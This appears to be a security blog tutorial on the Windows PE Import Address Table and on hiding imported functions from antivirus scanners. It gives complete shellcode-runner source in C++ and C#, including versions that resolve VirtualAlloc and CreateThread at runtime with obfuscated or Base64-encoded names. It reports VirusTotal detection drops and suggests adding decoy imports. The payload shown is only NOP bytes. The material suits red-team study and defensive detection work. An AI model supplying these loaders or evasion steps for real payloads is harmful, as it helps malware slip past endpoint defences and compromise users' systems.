Windows executable files are stored in Portable Executable (PE) format. PE files contain an Import Address Table (IAT). The IAT is a lookup table used when the application is calling functions in a different module. When the file is executed, the Windows Loader will fill in the IAT with the appropriate function addresses.
Viewing a PE32 Import Address Table on Disk
We can examine the IAT by opening a file in PEStudio;
![PEStudio Notepad.exe](https://www.bordergate.co.uk/wp-content/uploads/2023/05/notepad_pestudio.png)
We can see the application has a large number of imports, including functions such as RegOpenKey. Because of this, we know the application interacts with the systems registry somehow.
So, just by looking at the IAT we can get a good understanding of the types of things the application will do. Anti-Virus software also analyses the IAT in a similar way to determine if an application might have malicious intent.
We can also query imports using dumpbin.exe (which is included with Visual Studio).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | dumpbin /imports C:\Windows\system32\notepad.exe Microsoft (R) COFF/PE Dumper Version 14.34.31937.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file C:\Windows\system32\notepad.exe File Type: EXECUTABLE IMAGE Section contains the following imports: GDI32.dll 140029930 Import Address Table 140030D60 Import Name Table 0 time date stamp 0 Index of first forwarder reference 391 SetMapMode 3A5 SetViewportExtEx 3A9 SetWindowExtEx 2F7 LPtoDP 37C SetBkMode 2E7 GetTextMetricsW 3B6 TextOutW 0 AbortDoc 199 EndDoc 376 SetAbortProc 3AD StartDocW 3AF StartPage 34 CreateDCW 1D2 EnumFontsW 2E5 GetTextFaceW 28B GetDeviceCaps 18C DeleteDC 18F DeleteObject 37B SetBkColor 5A CreateSolidBrush 2DF GetTextExtentPoint32W 374 SelectObject 31 CreateCompatibleDC 19C EndPage 43 CreateFontIndirectW USER32.dll 140029A00 Import Address Table 140030E30 Import Name Table 0 time date stamp 0 Index of first forwarder reference 2AF PostQuitMessage 11 BeginPaint F4 EndPaint 110 FillRect DE DrawTextW D2 DrawFocusRect A7 DefWindowProcW <SNIP> |
Viewing the Import Address Table in Memory
We can view the populated IAT using WinDBG. Once again, examining notepad.exe. We start by listing the loaded modules in memory;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 0:000> lm start end module name 00007ff7`e7c30000 00007ff7`e7c8a000 notepad (pdb symbols) C:\ProgramData\Dbg\sym\notepad.pdb\C694C0AA7279CC672966901283BF50541\notepad.pdb 00007ffa`9e2b0000 00007ffa`9e53e000 COMCTL32 (deferred) 00007ffa`bb8d0000 00007ffa`bb9e3000 gdi32full (deferred) 00007ffa`bbb30000 00007ffa`bbc41000 ucrtbase (deferred) 00007ffa`bbc50000 00007ffa`bbcea000 msvcp_win (deferred) 00007ffa`bbcf0000 00007ffa`bc08c000 KERNELBASE (deferred) 00007ffa`bc270000 00007ffa`bc296000 win32u (deferred) 00007ffa`bc2a0000 00007ffa`bc44d000 USER32 (deferred) 00007ffa`bc980000 00007ffa`bca95000 RPCRT4 (deferred) 00007ffa`bcf80000 00007ffa`bcfa9000 GDI32 (deferred) 00007ffa`bd060000 00007ffa`bd104000 sechost (deferred) 00007ffa`bd110000 00007ffa`bd201000 shcore (deferred) 00007ffa`bd2c0000 00007ffa`bd383000 KERNEL32 (deferred) 00007ffa`bd390000 00007ffa`bd437000 msvcrt (deferred) 00007ffa`bd460000 00007ffa`bd7e9000 combase (deferred) 00007ffa`be100000 00007ffa`be1ae000 advapi32 (deferred) 00007ffa`be490000 00007ffa`be6a4000 ntdll (pdb symbols) C:\ProgramData\Dbg\sym\ntdll.pdb\3705770A0F65D9599F89B9AB8B5B9C9B1\ntdll.pdb |
Then use the dump header (dh) command to find the offset of the IAT;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | 0:000> !dh 00007ff7`e7c30000 -f File Type: EXECUTABLE IMAGE FILE HEADER VALUES 8664 machine (X64) 7 number of sections E798EFB4 time date stamp Sun Feb 15 18:08:52 2093 0 file pointer to symbol table 0 number of symbols F0 size of optional header 22 characteristics Executable App can handle >2gb addresses OPTIONAL HEADER VALUES 20B magic # 14.30 linker version 28000 size of code 31000 size of initialized data 0 size of uninitialized data 19A0 address of entry point 1000 base of code ----- new ----- 00007ff7e7c30000 image base 1000 section alignment 1000 file alignment 2 subsystem (Windows GUI) 10.00 operating system version 10.00 image version 10.00 subsystem version 5A000 size of image 1000 size of headers 5DC70 checksum 0000000000080000 size of stack reserve 0000000000011000 size of stack commit 0000000000100000 size of heap reserve 0000000000001000 size of heap commit C160 DLL characteristics High entropy VA supported Dynamic base NX compatible Guard Terminal server aware 0 [ 0] address [size] of Export Directory 30900 [ 3FC] address [size] of Import Directory 3A000 [ 1E1D0] address [size] of Resource Directory 37000 [ 1434] address [size] of Exception Directory 0 [ 0] address [size] of Security Directory 59000 [ 2F8] address [size] of Base Relocation Directory 2E440 [ 54] address [size] of Debug Directory 0 [ 0] address [size] of Description Directory 0 [ 0] address [size] of Special Directory 0 [ 0] address [size] of Thread Storage Directory 29790 [ 140] address [size] of Load Configuration Directory 0 [ 0] address [size] of Bound Import Directory 298D0 [ B68] address [size] of Import Address Table Directory 30438 [ E0] address [size] of Delay Import Directory 0 [ 0] address [size] of COR20 Header Directory 0 [ 0] address [size] of Reserved Directory |
The import table can then be dumped using the dps command;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | 0:007> dps 00007ff7`e7c30000+298D0 00007ff7`e7c598d0 00007ffa`9e32b200 COMCTL32!ImageList_Create 00007ff7`e7c598d8 00007ffa`9e32c4e0 COMCTL32!ImageList_SetBkColor 00007ff7`e7c598e0 00007ffa`9e31bd20 COMCTL32!LoadIconWithScaleDown 00007ff7`e7c598e8 00007ffa`9e2c24d0 COMCTL32!ImageList_ReplaceIcon 00007ff7`e7c598f0 00007ffa`9e2fbd30 COMCTL32!SetWindowSubclass 00007ff7`e7c598f8 00007ffa`9e32b710 COMCTL32!ImageList_Draw 00007ff7`e7c59900 00007ffa`9e32bc70 COMCTL32!ImageList_GetIconSize 00007ff7`e7c59908 00007ffa`9e2c6e60 COMCTL32!DefSubclassProc 00007ff7`e7c59910 00007ffa`9e32b2e0 COMCTL32!ImageList_Destroy 00007ff7`e7c59918 00007ffa`9e3411c0 COMCTL32!TaskDialogIndirect 00007ff7`e7c59920 00007ffa`9e2f9030 COMCTL32!CreateStatusWindowW 00007ff7`e7c59928 00000000`00000000 00007ff7`e7c59930 00007ffa`bcf812d0 GDI32!SetMapModeStub 00007ff7`e7c59938 00007ffa`bcf8c700 GDI32!SetViewportExtExStub 00007ff7`e7c59940 00007ffa`bcf8c770 GDI32!SetWindowExtExStub 00007ff7`e7c59948 00007ffa`bcf84c40 GDI32!LPtoDPStub |
Import Table Avoidance
There are a few benefits to not putting our function imports into the IAT.
- They won’t be visible by Anti-Virus software parsing the IAT
- We can obfuscate the functions text strings, so they will not be visible in the binary at all
- Anti-Virus software may modify the IAT of an application to reroute execution to the AV vendors logging functions, before redirecting to the real function
Testing a C++ Shellcode Runner
First, let’s create a shellcode runner in C++. We’re just using NOP instructions for the shellcode, so the program isn’t actually doing anything malicious.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | // ShellcodeRunner.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include <iostream> #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { void * payload_dest; // Our shellcode unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 }; unsigned int payload_length = sizeof (payload_src); std::cout << "The length of the payload is: " << payload_length << "\n" ; // Allocate some memory the same size as our payload payload_dest = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Copy payload to allocated memory RtlMoveMemory(payload_dest, payload_src, payload_length); // Use VirtualProtect to mark memory as writable. flOldProtect is a DWORD that receives previous protection flags. DWORD flOldProtect = 0; VirtualProtect(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect); //Create a new thread HANDLE myHandle; myHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0); //WaitForSingleObject prevents the program from terminating until the thread returns WaitForSingleObject(myHandle, INFINITE); } |
Viewing the file in PEStudio, we can see the imports we made;
![PEStudio Shellcode Runner](https://www.bordergate.co.uk/wp-content/uploads/2023/05/PE_Imports.png)
Compiling the application and uploading it to Virus Total shows that 10/68 Anti-Virus vendor classify the sample as malicious, just based on the fact we’re using “suspicious” functions.
![VirusTotal Results 1](https://www.bordergate.co.uk/wp-content/uploads/2023/05/virus_total1.png)
Hiding Imports (C++)
If we lookup function addresses dynamically when the application is running, rather than importing them normally, we can avoid listing the functions in the Import Address Table.
To do this, we use GetProcAddress to get a pointer to the function we’re aiming to call. As per the Microsoft documentation for GetProcAddress, typdef’s are created for the functions parameters to try and ensure we don’t supply invalid data (and to simplify calling the functions).
For instance, to call VirtualAlloc in this manner, we define a typedef as a global variable;
1 2 3 4 5 6 | typedef LPVOID (WINAPI * DynamicVA)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); |
In the main code body, we lookup the module address of Kernel32, which is required for GetProcAddress.
1 | HMODULE Kernel32 = GetModuleHandle("kernel32.dll"); |
We then use GetProcAddress address to find the address of VirtualAlloc. We can then call the function as we normally would.
1 2 | DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, "VirtualAlloc"); payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
The process can be repeated for all functions we are importing in the application. It’s worth noting that if the function names can still be identified as strings contained in the application. Defining the strings as character arrays can help prevent this type of pattern matching, or you could implement a custom encoding routine.
1 | char VACharArray[] = { 'V' , 'i' , 'r' , 't' , 'u' , 'a' , 'l' , 'A' , 'l' , 'l' , 'o' , 'c' , 0 }; |
Code for performing dynamic lookups on all imported functions;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | // DynamicFunctionLookup.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include <iostream> #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> typedef BOOL (WINAPI * DynamicVP)( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); typedef LPVOID (WINAPI * DynamicVA)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); typedef DWORD (WINAPI * DynamicWSO)( HANDLE hHandle, DWORD dwMilliseconds ); typedef VOID (WINAPI * DynamicRTL)( VOID UNALIGNED* Destination, const VOID UNALIGNED* Source, SIZE_T Length ); typedef HANDLE (WINAPI * DynamicCT)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); int main() { void * payload_dest; // Our shellcode unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 }; unsigned int payload_length = sizeof (payload_src); std::cout << "The length of the payload is: " << payload_length << "\n" ; // Get Kernel32 module handle (will be used multiple times) char krnCharArray[] = { 'K' , 'e' , 'r' , 'n' , 'e' , 'l' , '3' , '2' , '.' , 'd' , 'l' , 'l' , 0 }; HMODULE Kernel32 = GetModuleHandleA(krnCharArray); //Lookup VirtualAlloc at runtime char VACharArray[] = { 'V' , 'i' , 'r' , 't' , 'u' , 'a' , 'l' , 'A' , 'l' , 'l' , 'o' , 'c' , 0 }; DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, VACharArray); payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Copy payload to allocated memory char RTLCharArray[] = { 'R' , 't' , 'l' , 'M' , 'o' , 'v' , 'e' , 'M' , 'e' , 'm' , 'o' , 'r' , 'y' , 0}; DynamicRTL RTL = (DynamicRTL)GetProcAddress(Kernel32, RTLCharArray); RTL(payload_dest, payload_src, payload_length); //Lookup VirtualProtect at runtime char VPCharArray[] = { 'V' , 'i' , 'r' , 't' , 'u' , 'a' , 'l' , 'P' , 'r' , 'o' , 't' , 'e' , 'c' , 't' , 0}; DynamicVP VP = (DynamicVP)GetProcAddress(Kernel32, VPCharArray); DWORD flOldProtect = 0; VP(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect); //Create a new thread HANDLE myHandle; char CTCharArray[] = { 'C' , 'r' , 'e' , 'a' , 't' , 'e' , 'T' , 'h' , 'r' , 'e' , 'a' , 'd' , 0 }; DynamicCT CT = (DynamicCT)GetProcAddress(Kernel32, CTCharArray); myHandle = CT(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0); //WaitForSingleObject prevents the program from terminating until the thread returns char WSOCharArray[] = { 'W' , 'a' , 'i' , 't' , 'F' , 'o' , 'r' , 'S' , 'i' , 'n' , 'g' , 'l' , 'e' , 'O' , 'b' , 'j' , 'e' , 'c' , 't' , 0}; DynamicWSO WSO = (DynamicWSO)GetProcAddress(Kernel32, WSOCharArray); WSO(myHandle, INFINITE); } |
By uploading the sample to VirusTotal, we can see our detection rates have dropped to 5/10 AV vendors.
![VirusTotal Results 2](https://www.bordergate.co.uk/wp-content/uploads/2023/05/virus_total2.png)
Testing a C# ShellCode Runner
Implementing the same code in C# requires the use of Interop Services to call native Windows API’s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | using System; using System.Runtime.InteropServices; namespace ShellCodeRunner { class Program { [DllImport( "kernel32.dll" , SetLastError = true , ExactSpelling = true )] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport( "kernel32.dll" )] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport( "kernel32.dll" )] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main( string [] args) { byte [] payload_src = new byte [] { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 }; int payload_length = payload_src.Length; Console.WriteLine( "The length of the payload is: " + payload_length); // Allocate some memory the same size as our payload IntPtr payload_dest = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); // Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory. Marshal.Copy(payload_src, 0, payload_dest, payload_length); //Create a new thread IntPtr hThread = CreateThread(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero); //WaitForSingleObject prevents the program from terminating until the thread returns WaitForSingleObject(hThread, 0xFFFFFFFF); } } } |
If we run dumpbin.exe on the application, we can see there are no imports listed…
1 2 3 4 5 6 7 8 9 10 11 12 13 | dumpbin /imports ShellcodeRunner.exe Microsoft (R) COFF/PE Dumper Version 14.34.31937.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file ShellcodeRunner.exe File Type: EXECUTABLE IMAGE Summary 2000 .rsrc 2000 .text |
This is because functions imported via PInvoke are stored in the ImplMap table. These entries can be seen in PEStudio;
![](https://www.bordergate.co.uk/wp-content/uploads/2023/05/CSPinvoke_PEStudio.png)
Uploading the file to VirusTotal shows we’re getting 26/70 detections.
![](https://www.bordergate.co.uk/wp-content/uploads/2023/05/ShellCodeRunnerCSVT.png)
Hiding Imports (C#)
DInvoke is a dynamic replacement for PInvoke on Windows. The DInvoke library can be installed as a nuget package.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | using System; using System.Runtime.InteropServices; using DInvoke.DynamicInvoke; using static DInvoke.DynamicInvoke.Win32; namespace DInvokeShellcode { internal class Program { private struct Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); } public static string Decode( string base64EncodedData) { var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData); return System.Text.Encoding.UTF8.GetString(base64EncodedBytes); } // VirtualAlloc public static IntPtr VA(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect) { object [] funcargs = { lpAddress, dwSize, flAllocationType, flProtect }; // Kernel32.dll / VirtualAlloc Base64 encoded IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode( "a2VybmVsMzIuZGxs" ), Decode( "VmlydHVhbEFsbG9j" ), typeof (Delegates.VirtualAlloc), ref funcargs); return retVal; } // CreateThread public static IntPtr CT( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId) { // Craft an array for the arguments object [] funcargs = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId }; // Kernel32.dll / CreateThread Base64 encoded IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode( "a2VybmVsMzIuZGxs" ), Decode( "Q3JlYXRlVGhyZWFk" ), typeof (Delegates.CreateThread), ref funcargs); return retVal; } // WaitForSingleObject public static UInt32 WSO(IntPtr hHandle, UInt32 dwMilliseconds) { object [] funcargs = { hHandle, dwMilliseconds }; // Kernel32.dll / WaitForSingleObject Base64 encoded UInt32 retVal = (UInt32)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode( "a2VybmVsMzIuZGxs" ), Decode( "V2FpdEZvclNpbmdsZU9iamVjdA==" ), typeof (Delegates.WaitForSingleObject), ref funcargs); return retVal; } static void Main( string [] args) { byte [] payload_src = new byte [] { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; int payload_length = payload_src.Length; Console.WriteLine( "The length of the payload is: " + payload_length); // Allocate some memory the same size as our payload IntPtr payload_dest = VA(IntPtr.Zero, 0x1000, 0x3000, 0x40); // Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory. Marshal.Copy(payload_src, 0, payload_dest, payload_length); //Create a new thread IntPtr hThread = CT(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero); //WaitForSingleObject prevents the program from terminating until the thread returns WSO(hThread, 0xFFFFFFFF); } } } |
Uploading the sample to VirusTotal shows detection rates have dropped to 11/70;
![](https://www.bordergate.co.uk/wp-content/uploads/2023/05/DInvokeShellcodeVT.png)
The Anti Virus software may be triggering on the presence of the DInvoke DLL. Uploading just the DLL on it’s own results in a detection rate of 46/69
Benign Imports
Detection rates have been lowered, and from PEStudio we can see that our function calls are no longer listed in the IAT. However, the fact the execute does not seem to be calling many external functions could be seen as suspicious in itself.
![PEStudio Extra Imports](https://www.bordergate.co.uk/wp-content/uploads/2023/05/FunctionsAfter.png)
Because of this, it’s worth adding some additional imports into the application so it appears it has some legitimate purpose.
In Conclusion
Dynamically looking up function addresses during execution certainly has it’s benefits for evading on disk detection. The testing performed here isn’t entirely scientific, but I think it shows the benefits of performing function lookups at runtime.
Dynamic lookups using C++ seem to be favourable to C# implementations. Using P/Invoke is generally seen as a suspicious indicator, and D/Invoke is often classified as malicious.
However, this would need to be combined with multiple other techniques to evade behavioural protection. In addition, any shellcode would need to be obfuscated before use.